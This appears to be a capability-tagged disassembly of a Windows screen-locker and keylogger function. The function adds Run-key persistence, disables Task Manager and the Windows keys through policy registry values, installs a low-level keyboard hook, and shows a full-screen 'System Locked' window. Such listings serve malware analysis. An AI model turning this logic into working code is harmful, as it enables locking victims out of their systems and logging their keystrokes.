Function at 0x1400013f0
Capabilities:
Create thread
Disable system features via registry on windows
Log keystrokes via application hook
Persist via run registry key
Query or enumerate registry value
Set registry value
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x5e0]
sub rsp, 0x6e0
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x5d0], rax
mov rsi, rcx
lea rax, [rsp + 0x60]
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
mov r9d, 1
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edi, edi
test eax, eax
jne 0x140001584
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x6c]
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x68]
lea rax, [rbp + 0x1d0]
mov dword [rsp + 0x68], 0x100
mov qword [rsp + 0x30], rax
lea r8, [rbp - 0x30]
mov qword [rsp + 0x28], rdi
xor edx, edx
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x6c], 0x400
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov ebx, 1
cmp eax, 0x103
je 0x140001579
nop word [rax + rax]
test eax, eax
jne 0x140001526
mov rax, qword [0x140008798]
cmp rax, qword [0x1400087a0]
je 0x1400014da
lea rdx, [rbp - 0x30]
mov rcx, rax
call fcn.1400022f0
add qword [0x140008798], 0x20
jmp 0x1400014e6
lea r8, [rbp - 0x30]
mov rdx, rax
call fcn.140002780
lea rax, [rbp + 0x1d0]
mov qword [rbp - 0x80], rax
mov rax, qword [0x1400087b0]
cmp rax, qword [0x1400087b8]
je 0x14000151a
lea rdx, [rbp + 0x1d0]
mov rcx, rax
call fcn.1400022f0
add qword [0x1400087b0], 0x20
jmp 0x140001526
lea r8, [rbp - 0x80]
mov rdx, rax
call fcn.140002a90
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x6c]
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x68]
lea rax, [rbp + 0x1d0]
mov dword [rsp + 0x68], 0x100
mov qword [rsp + 0x30], rax
lea r8, [rbp - 0x30]
mov qword [rsp + 0x28], rdi
mov edx, ebx
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x6c], 0x400
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
inc ebx
cmp eax, 0x103
jne 0x1400014b0
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, str.MyApp
lea rcx, [rbp - 0x60]
call fcn.1400022f0
lea rdx, str._C:PathToYourApp.exe_
lea rcx, [rbp - 0x80]
call fcn.1400022f0
mov qword [rsp + 0x40], rdi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], 2
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x20], edi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140001630
cmp qword [rbp - 0x68], 7
lea rcx, [rbp - 0x80]
mov eax, dword [rbp - 0x70]
lea rdx, [rbp - 0x60]
cmova rcx, qword [rbp - 0x80]
mov r9d, 1
cmp qword [rbp - 0x48], 7
cmova rdx, qword [rbp - 0x60]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
xor r8d, r8d
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x14000166c
mov rcx, qword [rbp - 0x80]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001667
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400016b3
call fcn.14000361c
mov rdx, qword [rbp - 0x48]
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], 7
mov word [rbp - 0x80], di
cmp rdx, 7
jbe 0x1400016bf
mov rcx, qword [rbp - 0x60]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400016ba
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400016ba
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000361c
mov qword [rsp + 0x40], rdi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], 2
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x20], edi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14000173d
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x68]
mov dword [rsp + 0x28], 4
lea rdx, str.DisableTaskMgr
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rsp + 0x68], 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x40], rdi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], 2
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x20], edi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1400017bb
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x68]
mov dword [rsp + 0x28], 4
lea rdx, str.NoWinKeys
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rsp + 0x68], 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor r9d, r9d
lea rdx, [0x140001b90]
xor r8d, r8d
mov ecx, 0xd
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov qword [0x140008758], rax
test rax, rax
jne 0x140001807
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002480
mov rcx, rax
lea rdx, [0x140002640]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, 8
call fcn.1400033a0
lea rcx, [0x140001c00]
mov r9, rax
lea r8, [0x140003090]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], edi
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x70], rax
test rax, rax
je 0x140001b71
mov rcx, rsi
call fcn.140001cb0
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], rdi
lea r8, str.System_Locked
mov qword [rsp + 0x50], rsi
lea rdx, str.STATIC
mov qword [rsp + 0x48], rdi
mov r9d, 0x90000000
mov qword [rsp + 0x40], rdi
mov ecx, 0x8040008
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov edx, 0xfffffff0
mov r8d, 0x98000000
mov rcx, rax
mov rbx, rax
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov dword [rsp + 0x30], 0x43
xor r9d, r9d
mov dword [rsp + 0x28], edi
xor r8d, r8d
mov rdx, 0xffffffffffffffff
mov dword [rsp + 0x20], edi
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetWindowPos]
xor r9d, r9d
lea rcx, [rbp - 0x60]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x14000192a
nop
lea rcx, [rbp - 0x60]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp - 0x60]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
lea rcx, [rbp - 0x60]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x140001900
mov byte [0x140008768], 1
cmp dword [rsp + 0x78], edi
jne 0x140001943
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
call qword [sym.imp.MSVCP140.dll__Thrd_id]
cmp dword [rsp + 0x78], eax
jne 0x14000195b
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
movaps xmm0, xmmword [rsp + 0x70]
lea rcx, [rbp - 0x80]
xor edx, edx
movdqa xmmword [rbp - 0x80], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_join]
test eax, eax
je 0x140001981
mov ecx, 2
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov rcx, qword [0x140008758]
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x70], xmm0
test rcx, rcx
je 0x14000199c
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
lea rax, [rsp + 0x60]
mov r9d, 2
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140001a03
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x68]
mov dword [rsp + 0x28], 4
lea rdx, str.DisableTaskMgr
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rsp + 0x68], edi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x60]
mov r9d, 2
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140001a6a
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x68]
mov dword [rsp + 0x28], 4
lea rdx, str.NoWinKeys
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rsp + 0x68], edi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x60]
mov r9d, 2
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140001b39
mov rax, qword [0x140008798]
mov rcx, qword [0x140008790]
sub rax, rcx
sar rax, 5
test rax, rax
je 0x140001b2e
mov rbx, rdi
nop word [rax + rax]
mov rax, qword [0x1400087a8]
add rax, rbx
mov r8, rax
cmp qword [rax + 0x18], 7
jbe 0x140001ad7
mov r8, qword [rax]
cmp qword [rbx + rcx + 0x18], 7
lea rdx, [rbx + rcx]
jbe 0x140001ae6
mov rdx, qword [rdx]
mov eax, dword [rax + 0x10]
mov r9d, 1
mov rcx, qword [rsp + 0x60]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r8
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rax, qword [0x140008798]
inc rdi
mov rcx, qword [0x140008790]
add rbx, 0x20
sub rax, rcx
sar rax, 5
cmp rdi, rax
jb 0x140001ac0
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rsp + 0x78], 0
je 0x140001b47
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
xor eax, eax
mov rcx, qword [rbp + 0x5d0]
xor rcx, rsp
call fcn.140003380
lea r11, [rsp + 0x6e0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
mov ecx, 6
mov dword [rsp + 0x78], edi
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3